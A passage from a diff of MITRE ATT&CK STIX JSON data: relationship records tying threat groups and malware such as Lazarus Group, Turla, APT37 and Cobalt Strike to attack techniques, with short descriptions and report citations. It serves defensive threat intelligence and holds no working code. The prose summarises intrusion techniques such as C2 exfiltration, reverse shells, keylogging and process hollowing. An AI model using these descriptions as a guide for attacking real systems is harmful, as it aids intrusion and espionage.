Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "Symantec Dragonfly Sept 2017", + "description": "Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.", + "url": "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group" + } + ], + "modified": "2019-03-22T20:13:49.518Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:47:24.156Z", + "type": "relationship", + "id": "relationship--bdd223c2-8d3a-4c99-b261-402b7daaace5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-01-16T16:13:52.465Z", + "source_ref": "course-of-action--7a6e5ca3-562f-4185-a323-f3b62b5b2e6b", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) typically use ping and [Net](https://attack.mitre.org/software/S0039) to enumerate systems.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--95805281-96b1-49ea-95ee-9d654178c5c3", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "modified": "2019-03-22T19:57:37.261Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-08T14:33:16.437Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--25e301f8-0bb7-4769-94be-ac96b2319c85", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "malware--414dc555-c79e-4b24-a2da-9b607f7eaf16" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia saves information gathered about the victim to a file that is uploaded to one of its 10 C2 servers. [Lazarus Group](https://attack.mitre.org/groups/G0032) malware RomeoDelta copies specified directories from the victim's machine, then archives and encrypts the directories before uploading to its C2 server.", + "type": "relationship", + "created": "2017-05-31T21:33:27.069Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3fe9b64a-6435-4592-9181-2ad50ee93044", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Loaders", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster RATs", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" + } + ], + "modified": "2019-04-29T18:13:08.787Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-17T13:11:38.975Z", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--55f58d30-b633-4094-97bb-6ab872c0f480", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "malware--9ca488bd-9587-48ef-b923-1743523e63b2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Variants of [Emissary](https://attack.mitre.org/software/S0082) have added Run Registry keys to establish persistence.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0040fdbd-ec7e-49b3-b715-c8c91e08666b", + "external_references": [ + { + "source_name": "Emissary Trojan Feb 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MacSpy](https://attack.mitre.org/software/S0282) uses HTTP for command and control.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--11f12767-22ca-4f4a-a911-8211dc8ac478", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used a keylogging tool called KEYPUNCH.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a8d7e4da-53d8-45c2-8c87-70424d96a949", + "external_references": [ + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "modified": "2019-07-17T16:17:29.727Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-08T14:33:16.440Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fdf161e2-46dc-41ee-bec4-9b18c8b1e6d9", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "malware--49abab73-3c5c-476e-afd5-69b5c732d845" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pteranodon](https://attack.mitre.org/software/S0147) can capture screenshots at a configurable interval.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0471088d-7b45-4fec-8946-ae5bf463286b", + "external_references": [ + { + "source_name": "Palo Alto Gamaredon Feb 2017", + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-27T00:09:37.176Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.041Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bceada36-e6ba-49b9-b9f8-99e37e6cbf9e", + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) attempts to exploit privilege escalation vulnerabilities CVE-2010-0232 or CVE-2010-4398.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--63f0007e-833e-4d6a-b79e-873525979f40", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "relationship_type": "uses", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Calisto](https://attack.mitre.org/software/S0274) attempted to contact the C2 server over TCP using port 80.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--53c60706-1faf-401a-8c65-7753b04cec02", + "external_references": [ + { + "source_name": "Securelist Calisto July 2018", + "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.", + "url": "https://securelist.com/calisto-trojan-for-macos/86543/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A version of [Daserf](https://attack.mitre.org/software/S0187) uses the MPRESS packer.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2f507d82-1df4-4c9c-804a-2e6060944142", + "external_references": [ + { + "source_name": "Trend Micro Daserf Nov 2017", + "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "relationship_type": "uses", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MirageFox](https://attack.mitre.org/software/S0280) has a function for decrypting data containing C2 configuration information.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f16f0b46-3363-48bd-9a13-c8751fdedf1c", + "external_references": [ + { + "source_name": "APT15 Intezer June 2018", + "description": "Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018.", + "url": "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:46:16.561Z", + "type": "relationship", + "id": "relationship--0a4e270a-5641-424d-a343-437ae9548125", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--6e7db820-9735-4545-bc64-039bc4ce354b", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--a0a189c8-d3bd-4991-bf6f-153d185ee373" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PinchDuke](https://attack.mitre.org/software/S0048) searches for files created within a certain timeframe and whose file extension matches a predefined list.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1fbde0c8-1b00-40bf-8fef-11892d103d63", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Adversaries can direct [BACKSPACE](https://attack.mitre.org/software/S0031) to execute from the command-line on infected hosts, or have [BACKSPACE](https://attack.mitre.org/software/S0031) create a reverse shell.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3f14994e-149d-4cca-85b8-eec0964120d3", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) uses AES to encrypt network communication.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2f3ff7c9-ea14-45ad-b295-6f2f3c40cff7", + "external_references": [ + { + "source_name": "GitHub QuasarRAT", + "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.", + "url": "https://github.com/quasar/QuasarRAT" + }, + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "modified": "2019-06-24T19:05:41.570Z", + "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) obtains the target's IP address and local network segment.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5206976b-ac4d-4286-a954-4b1ef5c20adc", + "external_references": [ + { + "source_name": "Palo Alto Shamoon Nov 2016", + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + } + ], + "modified": "2019-04-24T23:59:16.230Z", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PUNCHTRACK](https://attack.mitre.org/software/S0197) aggregates collected data in a tmp file.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f38ae08a-0d59-41e9-a4ca-891a04297299", + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c4de7d83-e875-4c88-8b5d-06c41e5b7e79", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover network configuration details using the arp -a, nbtstat -n, nbtscan, and net config commands. [Turla](https://attack.mitre.org/groups/G0010) RPC backdoors have also retrieved registered RPC interface information from process memory.", + "type": "relationship", + "created": "2017-05-31T21:33:27.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9eefeafd-aca1-4e4c-8d29-ea6f9154808a", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + }, + { + "source_name": "Symantec Waterbug Jun 2019", + "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments" + }, + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ], + "modified": "2019-07-14T21:04:44.984Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "For early [Gazer](https://attack.mitre.org/software/S0168) versions, the compilation timestamp was faked.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1dfbe8fe-0e7a-42a7-85f0-a94b086b470b", + "external_references": [ + { + "source_name": "ESET Gazer Aug 2017", + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "relationship_type": "uses", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used process hollowing in iexplore.exe to load the [RedLeaves](https://attack.mitre.org/software/S0153) implant.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ad7592fd-f5d3-4802-9217-dffe89a6c8eb", + "external_references": [ + { + "source_name": "Accenture Hogfish April 2018", + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" + } + ], + "modified": "2019-06-28T15:24:32.043Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) can accept multiple URLs for C2 servers.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--950399e7-c9c2-4b53-bcc8-b99d0acba8d1", + "external_references": [ + { + "source_name": "Unit 42 Kazuar May 2017", + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "modified": "2019-04-24T15:26:03.683Z", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "relationship_type": "uses", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Agent.btz](https://attack.mitre.org/software/S0092) saves system information into an XML file that is then XOR-encoded.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f4c6cb3f-b24c-4a1e-9bba-7b129b89a17a", + "external_references": [ + { + "source_name": "ThreatExpert Agent.btz", + "description": "Shevchenko, S.. (2008, November 30). Agent.btz - A Threat That Hit Pentagon. Retrieved April 8, 2016.", + "url": "http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39", + "relationship_type": "uses", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Matroyshka](https://attack.mitre.org/software/S0167) is capable of keylogging.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1f99a883-e78f-423d-9837-2b5ebb14fe63", + "external_references": [ + { + "source_name": "ClearSky Wilted Tulip July 2017", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + }, + { + "source_name": "CopyKittens Nov 2015", + "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.", + "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can use known credentials to run commands and spawn processes as another user.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--26af1f3f-806e-45bd-860a-2eead8af7d3e", + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + }, + { + "source_name": "CobaltStrike Daddy May 2017", + "description": "Mudge, R. (2017, May 23). Cobalt Strike 3.8 \u2013 Who\u2019s Your Daddy?. Retrieved June 4, 2019.", + "url": "https://blog.cobaltstrike.com/2017/05/23/cobalt-strike-3-8-whos-your-daddy/" + } + ], + "modified": "2019-06-06T19:04:39.335Z", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "relationship_type": "uses", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT37](https://attack.mitre.org/groups/G0067) has used strategic web compromises, particularly of South Korean websites, to distribute malware. The group has also used torrent file-sharing sites to more indiscriminately disseminate malware to victims. As part of their compromises, the group has used a Javascript based profiler called RICECURRY to profile a victim's web browser and deliver malicious code accordingly.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a6d35df2-0711-4b18-b733-6200467056ec", + "external_references": [ + { + "source_name": "Securelist ScarCruft Jun 2016", + "description": "Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.", + "url": "https://securelist.com/operation-daybreak/75100/" + }, + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "modified": "2019-07-08T14:33:16.032Z", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The discovery modules used with [Duqu](https://attack.mitre.org/software/S0038) can collect information on 